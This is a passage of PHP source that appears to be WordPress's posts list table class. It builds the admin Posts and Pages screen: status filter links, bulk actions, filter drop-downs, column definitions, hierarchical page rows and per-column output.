		// Subtract post types that are not included in the admin all list.
		foreach ( get_post_stati( array( 'show_in_admin_all_list' => false ) ) as $state ) {
			$total_posts -= $num_posts->$state;
		}

		if ( $this->user_posts_count && $this->user_posts_count !== $total_posts ) {
			if ( isset( $_GET['author'] ) && ( $current_user_id === (int) $_GET['author'] ) ) {
				$class = 'current';
			}

			$mine_args = array(
				'post_type' => $post_type,
				'author'    => $current_user_id,
			);

			$mine_inner_html = sprintf(
				/* translators: %s: Number of posts. */
				_nx(
					'Mine <span class="count">(%s)</span>',
					'Mine <span class="count">(%s)</span>',
					$this->user_posts_count,
					'posts'
				),
				number_format_i18n( $this->user_posts_count )
			);

			$mine = array(
				'url'     => esc_url( add_query_arg( $mine_args, 'edit.php' ) ),
				'label'   => $mine_inner_html,
				'current' => isset( $_GET['author'] ) && ( $current_user_id === (int) $_GET['author'] ),
			);

			$all_args['all_posts'] = 1;
			$class                 = '';
		}

		$all_inner_html = sprintf(
			/* translators: %s: Number of posts. */
			_nx(
				'All <span class="count">(%s)</span>',
				'All <span class="count">(%s)</span>',
				$total_posts,
				'posts'
			),
			number_format_i18n( $total_posts )
		);

		$status_links['all'] = array(
			'url'     => esc_url( add_query_arg( $all_args, 'edit.php' ) ),
			'label'   => $all_inner_html,
			'current' => empty( $class ) && ( $this->is_base_request() || isset( $_REQUEST['all_posts'] ) ),
		);

		if ( $mine ) {
			$status_links['mine'] = $mine;
		}

		foreach ( get_post_stati( array( 'show_in_admin_status_list' => true ), 'objects' ) as $status ) {
			$class = '';

			$status_name = $status->name;

			if ( ! in_array( $status_name, $avail_post_stati, true ) || empty( $num_posts->$status_name ) ) {
				continue;
			}

			if ( isset( $_REQUEST['post_status'] ) && $status_name === $_REQUEST['post_status'] ) {
				$class = 'current';
			}

			$status_args = array(
				'post_status' => $status_name,
				'post_type'   => $post_type,
			);

			$status_label = sprintf(
				translate_nooped_plural( $status->label_count, $num_posts->$status_name ),
				number_format_i18n( $num_posts->$status_name )
			);

			$status_links[ $status_name ] = array(
				'url'     => esc_url( add_query_arg( $status_args, 'edit.php' ) ),
				'label'   => $status_label,
				'current' => isset( $_REQUEST['post_status'] ) && $status_name === $_REQUEST['post_status'],
			);
		}

		if ( ! empty( $this->sticky_posts_count ) ) {
			$class = ! empty( $_REQUEST['show_sticky'] ) ? 'current' : '';

			$sticky_args = array(
				'post_type'   => $post_type,
				'show_sticky' => 1,
			);

			$sticky_inner_html = sprintf(
				/* translators: %s: Number of posts. */
				_nx(
					'Sticky <span class="count">(%s)</span>',
					'Sticky <span class="count">(%s)</span>',
					$this->sticky_posts_count,
					'posts'
				),
				number_format_i18n( $this->sticky_posts_count )
			);

			$sticky_link = array(
				'sticky' => array(
					'url'     => esc_url( add_query_arg( $sticky_args, 'edit.php' ) ),
					'label'   => $sticky_inner_html,
					'current' => ! empty( $_REQUEST['show_sticky'] ),
				),
			);

			// Sticky comes after Publish, or if not listed, after All.
			$split        = 1 + array_search( ( isset( $status_links['publish'] ) ? 'publish' : 'all' ), array_keys( $status_links ), true );
			$status_links = array_merge( array_slice( $status_links, 0, $split ), $sticky_link, array_slice( $status_links, $split ) );
		}

		return $this->get_views_links( $status_links );
	}

	/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions       = array();
		$post_type_obj = get_post_type_object( $this->screen->post_type );

		if ( current_user_can( $post_type_obj->cap->edit_posts ) ) {
			if ( $this->is_trash ) {
				$actions['untrash'] = __( 'Restore' );
			} else {
				$actions['edit'] = __( 'Edit' );
			}
		}

		if ( current_user_can( $post_type_obj->cap->delete_posts ) ) {
			if ( $this->is_trash || ! EMPTY_TRASH_DAYS ) {
				$actions['delete'] = __( 'Delete permanently' );
			} else {
				$actions['trash'] = __( 'Move to Trash' );
			}
		}

		return $actions;
	}

	/**
	 * Displays a categories drop-down for filtering on the Posts list table.
	 *
	 * @since 4.6.0
	 *
	 * @global int $cat Currently selected category.
	 *
	 * @param string $post_type Post type slug.
	 */
	protected function categories_dropdown( $post_type ) {
		global $cat;

		/**
		 * Filters whether to remove the 'Categories' drop-down from the post list table.
		 *
		 * @since 4.6.0
		 *
		 * @param bool   $disable   Whether to disable the categories drop-down. Default false.
		 * @param string $post_type Post type slug.
		 */
		if ( false !== apply_filters( 'disable_categories_dropdown', false, $post_type ) ) {
			return;
		}

		if ( is_object_in_taxonomy( $post_type, 'category' ) ) {
			$dropdown_options = array(
				'show_option_all' => get_taxonomy( 'category' )->labels->all_items,
				'hide_empty'      => 0,
				'hierarchical'    => 1,
				'show_count'      => 0,
				'orderby'         => 'name',
				'selected'        => $cat,
			);

			echo '<label class="screen-reader-text" for="cat">' . get_taxonomy( 'category' )->labels->filter_by_item . '</label>';

			wp_dropdown_categories( $dropdown_options );
		}
	}

	/**
	 * Displays a formats drop-down for filtering items.
	 *
	 * @since 5.2.0
	 * @access protected
	 *
	 * @param string $post_type Post type slug.
	 */
	protected function formats_dropdown( $post_type ) {
		/**
		 * Filters whether to remove the 'Formats' drop-down from the post list table.
		 *
		 * @since 5.2.0
		 * @since 5.5.0 The `$post_type` parameter was added.
		 *
		 * @param bool   $disable   Whether to disable the drop-down. Default false.
		 * @param string $post_type Post type slug.
		 */
		if ( apply_filters( 'disable_formats_dropdown', false, $post_type ) ) {
			return;
		}

		// Return if the post type doesn't have post formats or if we're in the Trash.
		if ( ! is_object_in_taxonomy( $post_type, 'post_format' ) || $this->is_trash ) {
			return;
		}

		// Make sure the dropdown shows only formats with a post count greater than 0.
		$used_post_formats = get_terms(
			array(
				'taxonomy'   => 'post_format',
				'hide_empty' => true,
			)
		);

		// Return if there are no posts using formats.
		if ( ! $used_post_formats ) {
			return;
		}

		$displayed_post_format = isset( $_GET['post_format'] ) ? $_GET['post_format'] : '';
		?>
		<label for="filter-by-format" class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Filter by post format' );
			?>
		</label>
		<select name="post_format" id="filter-by-format">
			<option<?php selected( $displayed_post_format, '' ); ?> value=""><?php _e( 'All formats' ); ?></option>
			<?php
			foreach ( $used_post_formats as $used_post_format ) {
				// Post format slug.
				$slug = str_replace( 'post-format-', '', $used_post_format->slug );
				// Pretty, translated version of the post format slug.
				$pretty_name = get_post_format_string( $slug );

				// Skip the standard post format.
				if ( 'standard' === $slug ) {
					continue;
				}
				?>
				<option<?php selected( $displayed_post_format, $slug ); ?> value="<?php echo esc_attr( $slug ); ?>"><?php echo esc_html( $pretty_name ); ?></option>
				<?php
			}
			?>
		</select>
		<?php
	}

	/**
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
		?>
		<div class="alignleft actions">
		<?php
		if ( 'top' === $which ) {
			ob_start();

			$this->months_dropdown( $this->screen->post_type );
			$this->categories_dropdown( $this->screen->post_type );
			$this->formats_dropdown( $this->screen->post_type );

			/**
			 * Fires before the Filter button on the Posts and Pages list tables.
			 *
			 * The Filter button allows sorting by date and/or category on the
			 * Posts list table, and sorting by date on the Pages list table.
			 *
			 * @since 2.1.0
			 * @since 4.4.0 The `$post_type` parameter was added.
			 * @since 4.6.0 The `$which` parameter was added.
			 *
			 * @param string $post_type The post type slug.
			 * @param string $which     The location of the extra table nav markup:
			 *                          'top' or 'bottom' for WP_Posts_List_Table,
			 *                          'bar' for WP_Media_List_Table.
			 */
			do_action( 'restrict_manage_posts', $this->screen->post_type, $which );

			$output = ob_get_clean();

			if ( ! empty( $output ) ) {
				echo $output;
				submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
			}
		}

		if ( $this->is_trash && $this->has_items()
			&& current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_others_posts )
		) {
			submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false );
		}
		?>
		</div>
		<?php
		/**
		 * Fires immediately following the closing "actions" div in the tablenav for the posts
		 * list table.
		 *
		 * @since 4.4.0
		 *
		 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
		 */
		do_action( 'manage_posts_extra_tablenav', $which );
	}

	/**
	 * @return string
	 */
	public function current_action() {
		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) ) {
			return 'delete_all';
		}

		return parent::current_action();
	}

	/**
	 * @global string $mode List table view mode.
	 *
	 * @return array
	 */
	protected function get_table_classes() {
		global $mode;

		$mode_class = esc_attr( 'table-view-' . $mode );

		return array(
			'widefat',
			'fixed',
			'striped',
			$mode_class,
			is_post_type_hierarchical( $this->screen->post_type ) ? 'pages' : 'posts',
		);
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$post_type = $this->screen->post_type;

		$posts_columns = array();

		$posts_columns['cb'] = '<input type="checkbox" />';

		/* translators: Posts screen column name. */
		$posts_columns['title'] = _x( 'Title', 'column name' );

		if ( post_type_supports( $post_type, 'author' ) ) {
			$posts_columns['author'] = __( 'Author' );
		}

		$taxonomies = get_object_taxonomies( $post_type, 'objects' );
		$taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' );

		/**
		 * Filters the taxonomy columns in the Posts list table.
		 *
		 * The dynamic portion of the hook name, `$post_type`, refers to the post
		 * type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `manage_taxonomies_for_post_columns`
		 *  - `manage_taxonomies_for_page_columns`
		 *
		 * @since 3.5.0
		 *
		 * @param string[] $taxonomies Array of taxonomy names to show columns for.
		 * @param string   $post_type  The post type.
		 */
		$taxonomies = apply_filters( "manage_taxonomies_for_{$post_type}_columns", $taxonomies, $post_type );
		$taxonomies = array_filter( $taxonomies, 'taxonomy_exists' );

		foreach ( $taxonomies as $taxonomy ) {
			if ( 'category' === $taxonomy ) {
				$column_key = 'categories';
			} elseif ( 'post_tag' === $taxonomy ) {
				$column_key = 'tags';
			} else {
				$column_key = 'taxonomy-' . $taxonomy;
			}

			$posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name;
		}

		$post_status = ! empty( $_REQUEST['post_status'] ) ? $_REQUEST['post_status'] : 'all';

		if ( post_type_supports( $post_type, 'comments' )
			&& ! in_array( $post_status, array( 'pending', 'draft', 'future' ), true )
		) {
			$posts_columns['comments'] = sprintf(
				'<span class="vers comment-grey-bubble" title="%1$s" aria-hidden="true"></span><span class="screen-reader-text">%2$s</span>',
				esc_attr__( 'Comments' ),
				/* translators: Hidden accessibility text. */
				__( 'Comments' )
			);
		}

		$posts_columns['date'] = __( 'Date' );

		if ( 'page' === $post_type ) {

			/**
			 * Filters the columns displayed in the Pages list table.
			 *
			 * @since 2.5.0
			 *
			 * @param string[] $post_columns An associative array of column headings.
			 */
			$posts_columns = apply_filters( 'manage_pages_columns', $posts_columns );
		} else {

			/**
			 * Filters the columns displayed in the Posts list table.
			 *
			 * @since 1.5.0
			 *
			 * @param string[] $post_columns An associative array of column headings.
			 * @param string   $post_type    The post type slug.
			 */
			$posts_columns = apply_filters( 'manage_posts_columns', $posts_columns, $post_type );
		}

		/**
		 * Filters the columns displayed in the Posts list table for a specific post type.
		 *
		 * The dynamic portion of the hook name, `$post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `manage_post_posts_columns`
		 *  - `manage_page_posts_columns`
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $post_columns An associative array of column headings.
		 */
		return apply_filters( "manage_{$post_type}_posts_columns", $posts_columns );
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {

		$post_type = $this->screen->post_type;

		if ( 'page' === $post_type ) {
			if ( isset( $_GET['orderby'] ) ) {
				$title_orderby_text = __( 'Table ordered by Title.' );
			} else {
				$title_orderby_text = __( 'Table ordered by Hierarchical Menu Order and Title.' );
			}

			$sortables = array(
				'title'    => array( 'title', false, __( 'Title' ), $title_orderby_text, 'asc' ),
				'parent'   => array( 'parent', false ),
				'comments' => array( 'comment_count', false, __( 'Comments' ), __( 'Table ordered by Comments.' ) ),
				'date'     => array( 'date', true, __( 'Date' ), __( 'Table ordered by Date.' ) ),
			);
		} else {
			$sortables = array(
				'title'    => array( 'title', false, __( 'Title' ), __( 'Table ordered by Title.' ) ),
				'parent'   => array( 'parent', false ),
				'comments' => array( 'comment_count', false, __( 'Comments' ), __( 'Table ordered by Comments.' ) ),
				'date'     => array( 'date', true, __( 'Date' ), __( 'Table ordered by Date.' ), 'desc' ),
			);
		}
		// Custom Post Types: there's a filter for that, see get_column_info().

		return $sortables;
	}

	/**
	 * @global WP_Query $wp_query WordPress Query object.
	 * @global int $per_page
	 * @param array $posts
	 * @param int   $level
	 */
	public function display_rows( $posts = array(), $level = 0 ) {
		global $wp_query, $per_page;

		if ( empty( $posts ) ) {
			$posts = $wp_query->posts;
		}

		add_filter( 'the_title', 'esc_html' );

		if ( $this->hierarchical_display ) {
			$this->_display_rows_hierarchical( $posts, $this->get_pagenum(), $per_page );
		} else {
			$this->_display_rows( $posts, $level );
		}
	}

	/**
	 * @param array $posts
	 * @param int   $level
	 */
	private function _display_rows( $posts, $level = 0 ) {
		$post_type = $this->screen->post_type;

		// Create array of post IDs.
		$post_ids = array();

		foreach ( $posts as $a_post ) {
			$post_ids[] = $a_post->ID;
		}

		if ( post_type_supports( $post_type, 'comments' ) ) {
			$this->comment_pending_count = get_pending_comments_num( $post_ids );
		}
		update_post_author_caches( $posts );

		foreach ( $posts as $post ) {
			$this->single_row( $post, $level );
		}
	}

	/**
	 * @global wpdb    $wpdb WordPress database abstraction object.
	 * @global WP_Post $post Global post object.
	 * @param array $pages
	 * @param int   $pagenum
	 * @param int   $per_page
	 */
	private function _display_rows_hierarchical( $pages, $pagenum = 1, $per_page = 20 ) {
		global $wpdb;

		$level = 0;

		if ( ! $pages ) {
			$pages = get_pages( array( 'sort_column' => 'menu_order' ) );

			if ( ! $pages ) {
				return;
			}
		}

		/*
		 * Arrange pages into two parts: top level pages and children_pages.
		 * children_pages is two dimensional array. Example:
		 * children_pages[10][] contains all sub-pages whose parent is 10.
		 * It only takes O( N ) to arrange this and it takes O( 1 ) for subsequent lookup operations
		 * If searching, ignore hierarchy and treat everything as top level
		 */
		if ( empty( $_REQUEST['s'] ) ) {
			$top_level_pages = array();
			$children_pages  = array();

			foreach ( $pages as $page ) {
				// Catch and repair bad pages.
				if ( $page->post_parent === $page->ID ) {
					$page->post_parent = 0;
					$wpdb->update( $wpdb->posts, array( 'post_parent' => 0 ), array( 'ID' => $page->ID ) );
					clean_post_cache( $page );
				}

				if ( $page->post_parent > 0 ) {
					$children_pages[ $page->post_parent ][] = $page;
				} else {
					$top_level_pages[] = $page;
				}
			}

			$pages = &$top_level_pages;
		}

		$count      = 0;
		$start      = ( $pagenum - 1 ) * $per_page;
		$end        = $start + $per_page;
		$to_display = array();

		foreach ( $pages as $page ) {
			if ( $count >= $end ) {
				break;
			}

			if ( $count >= $start ) {
				$to_display[ $page->ID ] = $level;
			}

			++$count;

			if ( isset( $children_pages ) ) {
				$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page, $to_display );
			}
		}

		// If it is the last pagenum and there are orphaned pages, display them with paging as well.
		if ( isset( $children_pages ) && $count < $end ) {
			foreach ( $children_pages as $orphans ) {
				foreach ( $orphans as $op ) {
					if ( $count >= $end ) {
						break;
					}

					if ( $count >= $start ) {
						$to_display[ $op->ID ] = 0;
					}

					++$count;
				}
			}
		}

		$ids = array_keys( $to_display );
		_prime_post_caches( $ids );
		$_posts = array_map( 'get_post', $ids );
		update_post_author_caches( $_posts );

		if ( ! isset( $GLOBALS['post'] ) ) {
			$GLOBALS['post'] = reset( $ids );
		}

		foreach ( $to_display as $page_id => $level ) {
			echo "\t";
			$this->single_row( $page_id, $level );
		}
	}

	/**
	 * Displays the nested hierarchy of sub-pages together with paging
	 * support, based on a top level page ID.
	 *
	 * @since 3.1.0 (Standalone function exists since 2.6.0)
	 * @since 4.2.0 Added the `$to_display` parameter.
	 *
	 * @param array $children_pages
	 * @param int   $count
	 * @param int   $parent_page
	 * @param int   $level
	 * @param int   $pagenum
	 * @param int   $per_page
	 * @param array $to_display List of pages to be displayed. Passed by reference.
	 */
	private function _page_rows( &$children_pages, &$count, $parent_page, $level, $pagenum, $per_page, &$to_display ) {
		if ( ! isset( $children_pages[ $parent_page ] ) ) {
			return;
		}

		$start = ( $pagenum - 1 ) * $per_page;
		$end   = $start + $per_page;

		foreach ( $children_pages[ $parent_page ] as $page ) {
			if ( $count >= $end ) {
				break;
			}

			// If the page starts in a subtree, print the parents.
			if ( $count === $start && $page->post_parent > 0 ) {
				$my_parents = array();
				$my_parent  = $page->post_parent;

				while ( $my_parent ) {
					// Get the ID from the list or the attribute if my_parent is an object.
					$parent_id = $my_parent;

					if ( is_object( $my_parent ) ) {
						$parent_id = $my_parent->ID;
					}

					$my_parent    = get_post( $parent_id );
					$my_parents[] = $my_parent;

					if ( ! $my_parent->post_parent ) {
						break;
					}

					$my_parent = $my_parent->post_parent;
				}

				$num_parents = count( $my_parents );

				while ( $my_parent = array_pop( $my_parents ) ) {
					$to_display[ $my_parent->ID ] = $level - $num_parents;
					--$num_parents;
				}
			}

			if ( $count >= $start ) {
				$to_display[ $page->ID ] = $level;
			}

			++$count;

			$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page, $to_display );
		}

		unset( $children_pages[ $parent_page ] ); // Required in order to keep track of orphans.
	}

	/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post $item The current WP_Post object.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$show = current_user_can( 'edit_post', $post->ID );

		/**
		 * Filters whether to show the bulk edit checkbox for a post in its list table.
		 *
		 * By default the checkbox is only shown if the current user can edit the post.
		 *
		 * @since 5.7.0
		 *
		 * @param bool    $show Whether to show the checkbox.
		 * @param WP_Post $post The current WP_Post object.
		 */
		if ( apply_filters( 'wp_list_table_show_post_checkbox', $show, $post ) ) :
			?>
			<input id="cb-select-<?php the_ID(); ?>" type="checkbox" name="post[]" value="<?php the_ID(); ?>" />
			<label for="cb-select-<?php the_ID(); ?>">
				<span class="screen-reader-text">
				<?php
					/* translators: %s: Post title. */
					printf( __( 'Select %s' ), _draft_or_post_title() );
				?>
				</span>
			</label>
			<div class="locked-indicator">
				<span class="locked-indicator-icon" aria-hidden="true"></span>
				<span class="screen-reader-text">
				<?php
				printf(
					/* translators: Hidden accessibility text. %s: Post title. */
					__( '&#8220;%s&#8221; is locked' ),
					_draft_or_post_title()
				);
				?>
				</span>
			</div>
			<?php
		endif;
	}

	/**
	 * @since 4.3.0
	 *
	 * @param WP_Post $post
	 * @param string  $classes
	 * @param string  $data
	 * @param string  $primary
	 */
	protected function _column_title( $post, $classes, $data, $primary ) {
		echo '<td class="' . $classes . ' page-title" ', $data, '>';
		echo $this->column_title( $post );
		echo $this->handle_row_actions( $post, 'title', $primary );
		echo '</td>';
	}

	/**
	 * Handles the title column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_title( $post ) {
		global $mode;

		if ( $this->hierarchical_display ) {
			if ( 0 === $this->current_level && (int) $post->post_parent > 0 ) {
				// Sent level 0 by accident, by default, or because we don't know the actual level.
				$find_main_page = (int) $post->post_parent;

				while ( $find_main_page > 0 ) {
					$parent = get_post( $find_main_page );

					if ( is_null( $parent ) ) {
						break;
					}

					++$this->current_level;
					$find_main_page = (int) $parent->post_parent;

					if ( ! isset( $parent_name ) ) {
						/** This filter is documented in wp-includes/post-template.php */
						$parent_name = apply_filters( 'the_title', $parent->post_title, $parent->ID );
					}
				}
			}
		}

		$can_edit_post = current_user_can( 'edit_post', $post->ID );

		if ( $can_edit_post && 'trash' !== $post->post_status ) {
			$lock_holder = wp_check_post_lock( $post->ID );

			if ( $lock_holder ) {
				$lock_holder   = get_userdata( $lock_holder );
				$locked_avatar = get_avatar( $lock_holder->ID, 18 );
				/* translators: %s: User's display name. */
				$locked_text = esc_html( sprintf( __( '%s is currently editing' ), $lock_holder->display_name ) );
			} else {
				$locked_avatar = '';
				$locked_text   = '';
			}

			echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n";
		}

		$pad = str_repeat( '&#8212; ', $this->current_level );
		echo '<strong>';

		$title = _draft_or_post_title();

		if ( $can_edit_post && 'trash' !== $post->post_status ) {
			printf(
				'<a class="row-title" href="%s" aria-label="%s">%s%s</a>',
				get_edit_post_link( $post->ID ),
				/* translators: %s: Post title. */
				esc_attr( sprintf( __( '&#8220;%s&#8221; (Edit)' ), $title ) ),
				$pad,
				$title
			);
		} else {
			printf(
				'<span>%s%s</span>',
				$pad,
				$title
			);
		}
		_post_states( $post );

		if ( isset( $parent_name ) ) {
			$post_type_object = get_post_type_object( $post->post_type );
			echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html( $parent_name );
		}

		echo "</strong>\n";

		if ( 'excerpt' === $mode
			&& ! is_post_type_hierarchical( $this->screen->post_type )
			&& current_user_can( 'read_post', $post->ID )
		) {
			if ( post_password_required( $post ) ) {
				echo '<span class="protected-post-excerpt">' . esc_html( get_the_excerpt() ) . '</span>';
			} else {
				echo esc_html( get_the_excerpt() );
			}
		}

		/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
		$quick_edit_enabled = apply_filters( 'quick_edit_enabled_for_post_type', true, $post->post_type );

		if ( $quick_edit_enabled ) {
			get_inline_data( $post );
		}
	}

	/**
	 * Handles the post date column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_date( $post ) {
		global $mode;

		if ( '0000-00-00 00:00:00' === $post->post_date ) {
			$t_time    = __( 'Unpublished' );
			$time_diff = 0;
		} else {
			$t_time = sprintf(
				/* translators: 1: Post date, 2: Post time. */
				__( '%1$s at %2$s' ),
				/* translators: Post date format. See https://www.php.net/manual/datetime.format.php */
				get_the_time( __( 'Y/m/d' ), $post ),
				/* translators: Post time format. See https://www.php.net/manual/datetime.format.php */
				get_the_time( __( 'g:i a' ), $post )
			);

			$time      = get_post_timestamp( $post );
			$time_diff = time() - $time;
		}

		if ( 'publish' === $post->post_status ) {
			$status = __( 'Published' );
		} elseif ( 'future' === $post->post_status ) {
			if ( $time_diff > 0 ) {
				$status = '<strong class="error-message">' . __( 'Missed schedule' ) . '</strong>';
			} else {
				$status = __( 'Scheduled' );
			}
		} else {
			$status = __( 'Last Modified' );
		}

		/**
		 * Filters the status text of the post.
		 *
		 * @since 4.8.0
		 *
		 * @param string  $status      The status text.
		 * @param WP_Post $post        Post object.
		 * @param string  $column_name The column name.
		 * @param string  $mode        The list display mode ('excerpt' or 'list').
		 */
		$status = apply_filters( 'post_date_column_status', $status, $post, 'date', $mode );

		if ( $status ) {
			echo $status . '<br />';
		}

		/**
		 * Filters the published, scheduled, or unpublished time of the post.
		 *
		 * @since 2.5.1
		 * @since 5.5.0 Removed the difference between 'excerpt' and 'list' modes.
		 *              The published time and date are both displayed now,
		 *              which is equivalent to the previous 'excerpt' mode.
		 *
		 * @param string  $t_time      The published time.
		 * @param WP_Post $post        Post object.
		 * @param string  $column_name The column name.
		 * @param string  $mode        The list display mode ('excerpt' or 'list').
		 */
		echo apply_filters( 'post_date_column_time', $t_time, $post, 'date', $mode );
	}

	/**
	 * Handles the comments column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_comments( $post ) {
		?>
		<div class="post-com-count-wrapper">
		<?php
			$pending_comments = isset( $this->comment_pending_count[ $post->ID ] ) ? $this->comment_pending_count[ $post->ID ] : 0;

			$this->comments_bubble( $post->ID, $pending_comments );
		?>
		</div>
		<?php
	}

	/**
	 * Handles the post author column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_author( $post ) {
		$args = array(
			'post_type' => $post->post_type,
			'author'    => get_the_author_meta( 'ID' ),
		);
		echo $this->get_edit_link( $args, get_the_author() );
	}

	/**
	 * Handles the default column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post $item        The current WP_Post object.
	 * @param string  $column_name The current column name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		if ( 'categories' === $column_name ) {
			$taxonomy = 'category';
		} elseif ( 'tags' === $column_name ) {
			$taxonomy = 'post_tag';
		} elseif ( str_starts_with( $column_name, 'taxonomy-' ) ) {
			$taxonomy = substr( $column_name, 9 );
		} else {
			$taxonomy = false;
		}

		if ( $taxonomy ) {
			$taxonomy_object = get_taxonomy( $taxonomy );
			$terms           = get_the_terms( $post->ID, $taxonomy );

			if ( is_array( $terms ) ) {
				$term_links = array();

				foreach ( $terms as $t ) {
					$posts_in_term_qv = array();

					if ( 'post' !== $post->post_type ) {
						$posts_in_term_qv['post_type'] = $post->post_type;
					}

					if ( $taxonomy_object->query_var ) {
						$posts_in_term_qv[ $taxonomy_object->query_var ] = $t->slug;
					} else {
						$posts_in_term_qv['taxonomy'] = $taxonomy;
						$posts_in_term_qv['term']     = $t->slug;
					}

					$label = esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) );

					$term_links[] = $this->get_edit_link( $posts_in_term_qv, $label );
				}

				/**
				 * Filters the links in `$taxonomy` column of edit.php.
				 *
				 * @since 5.2.0
				 *
				 * @param string[]  $term_links Array of term editing links.
				 * @param string    $taxonomy   Taxonomy name.
				 * @param WP_Term[] $terms      Array of term objects appearing in the post row.
				 */
				$term_links = apply_filters( 'post_column_taxonomy_links', $term_links, $taxonomy, $terms );

				echo implode( wp_get_list_item_separator(), $term_links );
			} else {
				echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . $taxonomy_object->labels->no_terms . '</span>';
			}
			return;
		}

		if ( is_post_type_hierarchical( $post->post_type ) ) {

			/**
			 * Fires in each custom column on the Posts list table.
			 *
			 * This hook only fires if the current post type is hierarchical,
			 * such as pages.
			 *
			 * @since 2.5.0
			 *
			 * @param string $column_name The name of the column to display.
			 * @param int    $post_id     The current post ID.
			 */
			do_action( 'manage_pages_custom_column', $column_name, $post->ID );
		} else {

			/**
			 * Fires in each custom column in the Posts list table.
			 *
			 * This hook only fires if the current post type is non-hierarchical,
			 * such as posts.
			 *
			 * @since 1.5.0
			 *
			 * @param string $column_name The name of the column to display.
			 * @param int    $post_id     The current post ID.
			 */
			do_action( 'manage_posts_custom_column', $column_name, $post->ID );
		}

		/**
		 * Fires for each custom column of a specific post type in the Posts list table.
		 *
		 * The dynamic portion of the hook name, `$post->post_type`, refers to the post type.
		 *
		 * Possible hook names include:
		 *
		 *  - `manage_post_posts_custom_column`
		 *  - `manage_page_posts_custom_column`
		 *
		 * @since 3.1.0
		 *
		 * @param string $column_name The name of the column to display.
		 * @param int    $post_id     The current post ID.
		 */
		do_action( "manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID );
	}

	/**
	 * @global WP_Post $post Global post object.
	 *
	 * @param int|WP_Post $post
	 * @param int         $level
	 */
	public function single_row( $post, $level = 0 ) {
		$global_post = get_post();

		$post                = get_post( $post );
		$this->current_level = $level;

		$GLOBALS['post'] = $post;
		setup_postdata( $post );

		$classes = 'iedit author-' . ( get_current_user_id() === (int) $post->post_author ? 'self' : 'other' );

		$lock_holder = wp_check_post_lock( $post->ID );

		if ( $lock_holder ) {
			$classes .= ' wp-locked';
		}

		if ( $post->post_parent ) {
			$count    = count( get_post_ancestors( $post->ID ) );
			$classes .= ' level-' . $count;
		} else {
			$classes .= ' level-0';
		}
		?>
		<tr id="post-<?php echo $post->ID; ?>" class="<?php echo implode( ' ', get_post_class( $classes, $post->ID ) ); ?>">
			<?php $this->single_row_columns( $post ); ?>
		</tr>
		<?php
		$GLOBALS['post'] = $global_post;
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'title'.
	 */
	protected function get_default_primary_column_name() {
		return 'title';
	}

	/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post $item        Post being acted upon.
	 * @param string  $column_name Current column name.
	 * @param string  $primary     Primary column name.
	 * @return string Row actions output for posts, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$post_type_object = get_post_type_object( $post->post_type );
		$can_edit_post    = current_user_can( 'edit_post', $post->ID );
		$actions          = array();
		$title            = _draft_or_post_title();

		if ( $can_edit_post && 'trash' !== $post->post_status ) {
			$actions['edit'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				get_edit_post_link( $post->ID ),
				/* translators: %s: Post title. */
				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $title ) ),
				__( 'Edit' )
			);

			/**
			 * Filters whether Quick Edit should be enabled for the given post type.
			 *
			 * @since 6.4.0
			 *
			 * @param bool   $enable    Whether to enable the Quick Edit functionality. Default true.
			 * @param string $post_type Post type name.
			 */
			$quick_edit_enabled = apply_filters( 'quick_edit_enabled_for_post_type', true, $post->post_type );

			if ( $quick_edit_enabled && 'wp_block' !== $post->post_type ) {
				$actions['inline hide-if-no-js'] = sprintf(
